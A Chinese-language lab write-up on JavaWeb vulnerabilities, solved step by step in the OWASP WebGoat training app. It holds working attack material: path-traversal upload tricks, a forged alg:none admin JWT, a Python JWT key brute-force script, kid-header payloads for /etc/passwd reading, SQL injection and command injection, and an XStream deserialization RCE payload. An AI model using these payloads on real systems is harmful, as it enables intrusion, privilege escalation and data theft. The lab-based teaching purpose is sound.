知识点
1.JavaWeb常见安全及代码逻辑
2.目录遍历&身份验证&逻辑&JWT
3.访问控制&安全组件&越权&三方组件本篇主要了解以上问题在javaweb中的呈现,
第一个重点理解URL与javaweb代码框架的对应方式,java在没有代码的情况下是很难渗透的,下面的内容也是针对白盒的
第二个重点是JWT身份验证/攻击
JavaWeb-WebGoat靶场搭建使用
WebGoat简单介绍
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。
参考链接:如何搭建 WebGoat 靶场保姆级教程(附链接)_webgoat搭建-CSDN博客
启动/访问
//启动
java.exe -jar E:\webgoat-server-8.1.0.jar --server.port=8081
//访问
http://localhost:8081/WebGoat/login
案例0x01 目录遍历
路径(目录)遍历是一种漏洞,攻击者能够在应用程序运行位置之外访问或存储文件和目录。这可能会导致从其他目录读取文件,并且在文件上传时会覆盖关键系统文件。
路径遍历攻击的基本原理和步骤:
发现潜在漏洞:攻击者首先需要找到应用程序中可能允许用户指定文件路径的输入点。这通常包括文件上传、图片查看、文件下载、包含文件(如PHP的
include
或require
函数)等功能。构建恶意输入:攻击者会构造一个包含特殊路径字符的输入字符串,如
../../etc/passwd
。这个字符串的目的是向上遍历目录树,并尝试访问不应该被公开的文件(在这个例子中,是UNIX系统的/etc/passwd
文件,它包含了系统上所有用户的信息)。发送请求:攻击者将构造好的恶意输入发送给Web应用程序。这通常是通过HTTP请求中的GET或POST参数、URL路径、HTTP头或其他输入机制来完成的。
应用程序处理:如果应用程序没有正确地验证或清理用户输入,它会将恶意输入当作有效的文件路径来处理。应用程序可能会尝试打开、读取或包含这个路径指向的文件。
敏感操作:如果应用程序成功地打开了攻击者指定的文件,并返回了文件内容,那么攻击者就成功地执行了路径遍历攻击。他们现在可以查看、下载或利用这些敏感信息来进一步攻击系统。
案例:WebGoat(A1)Injection--> Path traversal第二关
题目要求上传到Pathtraversal这个路径
通过BurpSuite抓包获取到URL
对jar包解压,并使用IDEA打开,找到对应的包反编译,只要把包添加到库就可以查看到源码
无论是社区版 IDEA,还是专业版 IDEA,都自带了反编译插件 Java Bytecode Decompiler。没有自行下载
找到 ProfileUpload,可以看到我们访问的路由
@PostMapping(
value = {"/PathTraversal/profile-upload"},
consumes = {"*/*"},
produces = {"application/json"}
)
@ResponseBody
public AttackResult uploadFileHandler(@RequestParam("uploadedFile") MultipartFile file, @RequestParam(value = "fullName",required = false) String fullName) {
return super.execute(file, fullName);
}
IDEA使用ctrl+鼠标左键选择execute函数来追踪super.execute函数,可以看到execute
接收一个 MultipartFile
对象(用于表示上传的文件)和一个 String
类型的 fullName,"/PathTraversal/" + this.webSession.getUserName()
被附加到基础目录上,以构建用户特定的上传目录。new File(uploadDirectory, fullName)
来创建 uploadedFile
时,实际上是在构建一个指向特定文件路径的 File
对象。在这个上下文中,uploadDirectory
是一个 File
对象,它代表了目录的路径,而 fullName
是一个字符串,它包含了在该目录下创建或引用的文件的完整名称
protected AttackResult execute(MultipartFile file, String fullName) {
if (file.isEmpty()) {
return this.failed(this).feedback("path-traversal-profile-empty-file").build();
} else if (StringUtils.isEmpty(fullName)) {
return this.failed(this).feedback("path-traversal-profile-empty-name").build();
} else {
File uploadDirectory = new File(this.webGoatHomeDirectory, "/PathTraversal/" + this.webSession.getUserName());
if (uploadDirectory.exists()) {
FileSystemUtils.deleteRecursively(uploadDirectory);
}
try {
uploadDirectory.mkdirs();
File uploadedFile = new File(uploadDirectory, fullName);
uploadedFile.createNewFile();
FileCopyUtils.copy(file.getBytes(), uploadedFile);
return this.attemptWasMade(uploadDirectory, uploadedFile) ? this.solvedIt(uploadedFile) : this.informationMessage(this).feedback("path-traversal-profile-updated").feedbackArgs(new Object[]{uploadedFile.getAbsoluteFile()}).build();
} catch (IOException var5) {
return this.failed(this).output(var5.getMessage()).build();
}
}
发送原数据包,结合代码可以看到路径有安装路径+PathTraversal+用户名+Fullname组成
而在上下文代码中没找到类似过滤特殊字符如../的代码,而题目要求上传到安装路径下的PathTraversal目录下,也就是与“用户名”目录同级,也就是test的上一级目录,尝试修改数据包让他上传到上一级目录
BurpSuite中放包并拦截响应可以看到上传通过了
攻击手段就是通过../
路径可以贯穿整个目录遍历攻击,比如需要上传到上两级../../
第三关类似,但做了单次过滤../
抓包 看下URL找到对应的包
@PostMapping(
value = {"/PathTraversal/profile-upload-fix"},
consumes = {"*/*"},
produces = {"application/json"}
)
@ResponseBody
public AttackResult uploadFileHandler(@RequestParam("uploadedFileFix") MultipartFile file, @RequestParam(value = "fullNameFix",required = false) String fullName) {
return super.execute(file, fullName != null ? fullName.replace("../", "") : "");
}
可以看到参数改成了 fullNameFix,增加了单次过滤fullName.replace("../", "") : "");
考虑双写绕过
案例0x02 身份认证绕过
身份绕过漏洞通常存在于系统的身份验证机制中,可能由于系统配置错误、代码实现缺陷或逻辑漏洞等原因导致。攻击者如果能够成功利用这类漏洞,就可以获得本不应有的系统访问权限,进而可能导致数据泄露、系统被篡改或其他严重后果。
案例:WebGoat(A2)Broken Authentication-->Authentication Bypasses第二关
抓包获取URL找到对应的包
@PostMapping(
path = {"/auth-bypass/verify-account"},
produces = {"application/json"}
)
@ResponseBody
public AttackResult completed(@RequestParam String userId, @RequestParam String verifyMethod, HttpServletRequest req) throws ServletException, IOException {
AccountVerificationHelper verificationHelper = new AccountVerificationHelper();
Map<String, String> submittedAnswers = this.parseSecQuestions(req);
if (verificationHelper.didUserLikelylCheat((HashMap)submittedAnswers)) {
return this.failed(this).feedback("verify-account.cheated").output("Yes, you guessed correctly, but see the feedback message").build();
} else if (verificationHelper.verifyAccount(Integer.valueOf(userId), (HashMap)submittedAnswers)) {
this.userSessionData.setValue("account-verified-id", userId);
return this.success(this).feedback("verify-account.success").build();
} else {
return this.failed(this).feedback("verify-account.failed").build();
}
}
可以看到访问入口调用了AccountVerificationHelper包的didUserLikelylCheat函数verificationHelper包的verifyAccount,并通过返回值作为判断条件,而只有verificationHelper包的verifyAccount返回ture才会通过认证,首先追踪到didUserLikelylCheat函数这个函数,看下如何构造才能是他返回false跳过这个判断进入verifyAccount
public boolean didUserLikelylCheat(HashMap<String, String> submittedAnswers) {
boolean likely = false;
if (submittedAnswers.size() == ((Map)secQuestionStore.get(verifyUserId)).size()) {
likely = true;
}
if (submittedAnswers.containsKey("secQuestion0") && ((String)submittedAnswers.get("secQuestion0")).equals(((Map)secQuestionStore.get(verifyUserId)).get("secQuestion0")) && submittedAnswers.containsKey("secQuestion1") && ((String)submittedAnswers.get("secQuestion1")).equals(((Map)secQuestionStore.get(verifyUserId)).get("secQuestion1"))) {
likely = true;
} else {
likely = false;
}
return likely;
}
这里主要做了两个判断
- 检查答案数量
- 如果
submittedAnswers
的大小与从secQuestionStore
获取的对应用户答案的 Map 的大小相同,则likely
被设置为true
。
- 检查答案是否匹配
if-else
语句检查submittedAnswers
是否包含两个特定的问题("secQuestion0"
和"secQuestion1"
)的答案,并且这些答案是否与从secQuestionStore
中检索到的答案相匹配。如果两个答案都匹配,则将likely
设置为true
;否则,将其设置为false
。这里的问题是,即使只有一个答案不匹配,likely
也会被设置为false
根据逻辑分析,只要"secQuestion0"
和"secQuestion1"
和secQuestionStore的答案不一致或者键名"secQuestion0"
和"secQuestion1"不存在
就能返回flase
static {
userSecQuestions.put("secQuestion0", "Dr. Watson");
userSecQuestions.put("secQuestion1", "Baker Street");
secQuestionStore = new HashMap();
secQuestionStore.put(verifyUserId, userSecQuestions);
}
再看verificationHelper包的verifyAccount函数
public boolean verifyAccount(Integer userId, HashMap<String, String> submittedQuestions) {
if (submittedQuestions.entrySet().size() != ((Map)secQuestionStore.get(verifyUserId)).size()) {
return false;
} else if (submittedQuestions.containsKey("secQuestion0") && !((String)submittedQuestions.get("secQuestion0")).equals(((Map)secQuestionStore.get(verifyUserId)).get("secQuestion0"))) {
return false;
} else {
return !submittedQuestions.containsKey("secQuestion1") || ((String)submittedQuestions.get("secQuestion1")).equals(((Map)secQuestionStore.get(verifyUserId)).get("secQuestion1"));
}
}
- 检查答案数量:如果
submittedQuestions
的大小与从secQuestionStore
中根据verifyUserId
获取的映射的大小不同,则返回false
。 - 检查特定答案:如果
submittedQuestions
包含"secQuestion0"
但其值与从secQuestionStore
中获取的相应值不同,则返回false
。 - 检查第二个答案:如果
submittedQuestions
不包含"secQuestion1"
或者包含但值与从secQuestionStore
中获取的相应值相同,则返回true
。
可以看到第二个答案验证这里的逻辑,如果 "secQuestion1"键名不存在
则为false,取反得到true或者secQuestion1答案
正确返回true
综上所述有两种情况可以绕过验证
secQuestion0能匹配,和secQuestion1不存在
secQuestion0和secQuestion1都不存在
JWT原理及常见攻击方式
JWT的全称是Json Web Token。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。
传统token方式和jwt认证的差异
传统token方式
用户登录成功后,服务端生成一个随机token给用户,并且在服务端(数据库或缓存)中保存一份token,以后用户再来访问时需携带token,服务端接收到token之后,去数据库或缓存中进行校验token的是否超时、是否合法。
jwt方式:官网:jwt.io
用户登录成功后,服务端通过jwt生成一个随机token给用户(服务端无需保留token),以后用户再来访问时需携带token,服务端接收到token之后,通过jwt对token进行校验是否超时、是否合法。
JWT 令牌结构由三个部分组成,分别是 标头(Header)、有效载荷(Payload)、签名(Signature),并且由 "." 分割.
也就是 Header.Payload.Signature
JWT原理
-
Header:固定包含算法和token类型,通常使用算法名称(如HMAC SHA256或RSA)来指定生成Signature的算法。对此json进行base64url加密,这就是token的第一段。
{
"alg": "HS256",
"typ": "JWT"
}
-
Payload:包含声明,声明是关于实体(通常是用户)和其他数据的声明,也可以自定义。对此json进行base64url加密,这就是token的第二段。
{
"iss": "admin",
"iat": 1616562692
}
-
Signature:对Header和Payload进行Base64编码后的结果,使用指定的密钥和算法进行加密,以确保JWT不可篡改。
把前两段的base密文通过.
拼接起来,然后对其进行HS256
加密,再然后对hs256
密文进行base64url加密,最终得到token的第三段。
base64url(
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
your-256-bit-secret (秘钥加盐)
)
)
简单JWT示例
JWT攻击方式
案例0x01 空加密算法 - WebGoat(A2)JWT tokens第四关
空加密算法的设计初衷是用于调试的,如果在生产环境中开启了空加密算法,缺少签名算法,jwt保证信息不被篡改的功能就失效了。
空加密算法,可以在header中指定alg为
None,把签名设置为空(即不添加signature字段),这需要服务器(后端代码)支持不要秘钥签名(空模式加密)
选择一个用户,然后点击重置票数进行抓包
复制token到官网jwt.io解密
修改Header中alg:HS512 修改为alg:none,把签名设置为空(即不添加signature字段)
修改Payload中admin:false 修改为admin:true,通过这个字段验证是不是管理员身份
分别将修改后由base64加密生成的密文对应的Header、Payload的格式拼接,注意不要带上 =号,jwt中没有 =号,拼接的时候不要漏了后面与signature间段的
点
ewogICJhbGciOiAibm9uZSIKfQ.
ewogICJpYXQiOiAxNzE3OTgxODU5LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJKZXJyeSIKfQ.
burpsuite将token替换为我们伪造拼接出的token再发送,就成功验证管理员身份了
案例0x02 爆破密钥 - WebGoat(A2)JWT tokens第五关
题目要求尝试找出密钥并提交一个新密钥,并将用户名更改为 WebGoat。
不过对 JWT 的密钥爆破需要在一定的前提下进行:
- 知悉JWT使用的加密算法
- 一段有效的、已签名的token
- 签名用的密钥不复杂(弱密钥)
所以其实JWT 密钥爆破的局限性很大。
相关工具:c-jwt-cracker
把JWT复制到jwt.io解密
因为这里只是为了测试,直接把秘钥复制到字典里
运行脚本爆破加密的秘钥
import jwt
import termcolor
if __name__ == "__main__":
jwt_str = R'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTcxNzExNTU2MSwiZXhwIjoxNzE3MTE1NjIxLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.oWJIYFXYQCzviNcKZBqCS-fKZiPCqq8kXFiNVG2js7Q'
with open('top1000.txt') as f:
for line in f:
key_ = line.strip()
try:
jwt.decode(jwt_str,algorithms=['HS256'], verify=True, key=key_)
print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
break
except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
break
except jwt.exceptions.InvalidSignatureError:
print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
continue
else:
print('\r', '\bsorry! no key be found.')
回到jwt.io,输入秘钥并修改username为WebGoat
把伪造秘钥提交,显示无效JWT再试一次,红框中可以看出JWT过期了
回到jwt.io修改exp时间戳,改为一个未到的时间,再次复制伪造token提交,就成功通过了
修改KID参数
kid
是jwt header中的一个可选参数,全称是key ID
,它用于指定加密算法的密钥
{
"alg"
:
"HS256"
,
"typ"
:
"jwt"
,
"kid"
:
"/home/jwt/.ssh/pem"
}
因为该参数可以由用户输入,所以也可能造成一些安全问题。
0x03 任意文件读取
kid
参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。
{
"alg"
:
"HS256"
,
"typ"
:
"jwt"
,
"kid"
:
"/etc/passwd"
}
0x04 SQL注入
kid
也可以从数据库中提取数据,这时候就有可能造成SQL注入攻击,通过构造SQL语句来获取数据或者是绕过signature的验证
{
"alg"
:
"HS256"
,
"typ"
:
"jwt"
,
"kid"
:
"key11111111' || union select 'secretkey' -- "
}
0x05 命令注入
对kid
参数过滤不严也可能会出现命令注入问题,但是利用条件比较苛刻。如果服务器后端使用的是Ruby,在读取密钥文件时使用了open
函数,通过构造参数就可能造成命令注入。
"/path/to/key_file|whoami"
对于其他的语言,例如php,如果代码中使用的是exec
或者是system
来读取密钥文件,那么同样也可以造成命令注入,当然这个可能性就比较小了。
0x06 第三方组件
WebGoat(A9)Vulnerable Components 第十二关
抓包获取下URL
可以看到使用了第三方组件Xstream,一般通过信息收集知道第三方组件就可以查找的历史漏洞去复现
这里题目已经告诉我们漏洞编号Exploiting CVE-2013-7285 (XStream),查找该编号漏洞复现
该漏洞主要是java反序列化造成的远程代码执行,上传以下代码可以启动计算器
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc.exe</string> ——启动服务器的计算器
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
0x07 访问控制
-隐藏属性:前端页面选择性隐藏某些重要的信息,自卫限制显示
WebGoat (A5)Insecure Direct Object References第二关先登录
WebGoat (A5)Insecure Direct Object References第三关
正常情况显示只可以查看三个参数
点击View Profile抓包可以看到五个属性
根据URL找到对应的包
-水平越权:同一级别用户权限的查看
比如,通过修改“userId”的值,就可以查看其他用户的个人信息。